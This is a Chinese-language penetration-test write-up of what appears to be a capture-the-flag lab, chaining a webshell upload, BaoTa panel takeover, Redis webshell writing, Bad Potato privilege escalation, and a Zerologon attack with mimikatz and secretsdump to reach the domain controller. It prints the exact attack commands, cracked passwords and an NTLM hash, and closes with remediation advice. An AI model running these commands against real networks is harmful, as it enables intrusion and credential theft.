从外网代码审计到三层内网渗透获取域控权限的完整渗透测试报告
1. 目标概述
本次渗透测试的目标是通过外网代码审计进入系统,逐步渗透三层内网,最终获取域控制器权限。目标要求获取四台机器上的root.txt文件,获取三个为及格,四个为满分。
2. 初始信息收集
- 目标网站:http://www.cocat.cc
- 关键提示:http://www.cocat.cc/web.zip (网站备份文件)
3. 代码审计阶段
3.1 获取网站源码
通过提示下载网站备份文件web.zip进行代码审计。
3.2 发现漏洞点
审计过程中发现一个webshell上传点:
http://www.cocat.cc/kss_tool/_webup.php
3.3 绕过限制
当前环境命令执行函数被禁用,通过以下方法绕过:
- 查找MySQL配置文件获取数据库凭证
- 尝试MySQL UDF提权失败(MySQL版本>5.1)
4. 获取宝塔面板权限
4.1 发现宝塔面板
通过文件搜索找到宝塔后台地址:
C:/BtSoft/panel/data/admin_path.pl
4.2 获取宝塔凭据
- 下载宝塔数据库文件default.db
- 查看users表获取账号密码(MD5加密)
- 通过添加新用户或替换MD5的方式添加账号:
- 用户名:saulGoodmang
- 密码:123456
4.3 登录宝塔面板
- 禁用危险函数
- 重启服务使设置生效
5. 获取第一个flag
通过命令执行获取第一个root.txt:
flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}
6. 内网渗透第一阶段
6.1 环境侦察
- 发现存在火绒杀毒软件
- 使用Cobalt Strike进行免杀上线
6.2 内网扫描
使用nbtscan和fscan发现内网资产:
- 192.168.59.4 (存活主机)
6.3 建立持久通道
使用frp建立socks代理进入内网
6.4 绕过火绒添加用户
使用脚本绕过火绒添加用户:
- 用户名:hacker
- 密码:P@ssw0rd
6.5 开启远程桌面
执行命令开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
6.6 获取凭证
抓取hash并解密得到Administrator密码:
QWEasd444
7. 内网横向移动(192.168.59.4)
7.1 扫描发现
使用MSF的arp_scanner模块发现192.168.59.4
7.2 端口扫描
使用proxychains+nmap扫描:
proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4
发现开放6379(Redis)端口
7.3 Redis利用
- 尝试未授权访问失败
- 使用MSF爆破Redis密码成功:
123456789qq - 连接Redis:
proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq
7.4 写入Webshell
- 设置IIS默认目录:
config set dir C:/inetpub/wwwroot/ - 设置文件名:
config set dbfilename 1.aspx - 写入webshell(注意使用单引号和空格绕过):
set x ' <%execute(request("x"))%> ' - 保存:
save
成功获取webshell:http://192.168.59.4/a.asp
8. 内网渗透第二阶段
8.1 权限提升
- 发现可写目录:
C:\ProgramData\VMware\logs\ - 使用坏土豆(Bad Potato)提权成功
8.2 获取第二个flag
flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}
8.3 添加用户
添加ASP.NET管理员用户
9. 内网渗透(10.10.10.202)
9.1 内网扫描
发现三台存活主机:
- 10.10.10.201 (DC)
- 10.10.10.202 (本机)
- 10.10.10.209
9.2 关闭防火墙
netsh advfirewall set allprofiles state off
9.3 MSF正向shell
- 生成payload:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe - 目标运行后MSF上线
9.4 获取凭证
hashdump解密得到密码:QWEasd1122
9.5 开启远程桌面
run post/windows/manage/enable_rdp
9.6 发现域环境
通过nbtcan发现:
- 10.10.10.201 (DC)
- 10.10.10.209 (Exchange服务器)
10. 获取域控权限
10.1 发现CVE-2020-1472漏洞
使用mimikatz(20200918之后版本)利用:
privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$
lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit
10.2 导出域凭证
使用secretsdump.py:
python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass
获取域管理员hash:
cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
10.3 MSF psexec上线
配置参数:
RHOSTS: 10.10.10.201
SMBDomain: cncat
SMBPass: aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
SMBUser: Administrator
10.4 令牌窃取
切换为域管身份
10.5 与域机器建立IPC
与10.10.10.209建立IPC连接
11. 获取最终flag
成功获取最后一个root.txt
12. 技术总结
- 代码审计:通过网站备份文件发现漏洞点
- 权限提升:通过宝塔面板绕过限制
- 内网渗透:使用多种工具进行扫描和横向移动
- Redis利用:通过密码爆破和webshell写入
- 域渗透:利用CVE-2020-1472获取域控权限
13. 安全建议
- 加强代码审计,修复webshell上传漏洞
- 宝塔面板应使用强密码并限制访问IP
- Redis服务应设置强密码并限制网络访问
- 及时安装补丁修复CVE-2020-1472等漏洞
- 内网机器应启用防火墙并严格限制端口开放
- 定期更换域管理员密码
14. 工具列表
- Cobalt Strike (免杀上线)
- nbtscan/fscan (内网扫描)
- frp (内网代理)
- mimikatz (凭证获取)
- secretsdump.py (域凭证导出)
- MSF (漏洞利用)
- proxychains+nmap (端口扫描)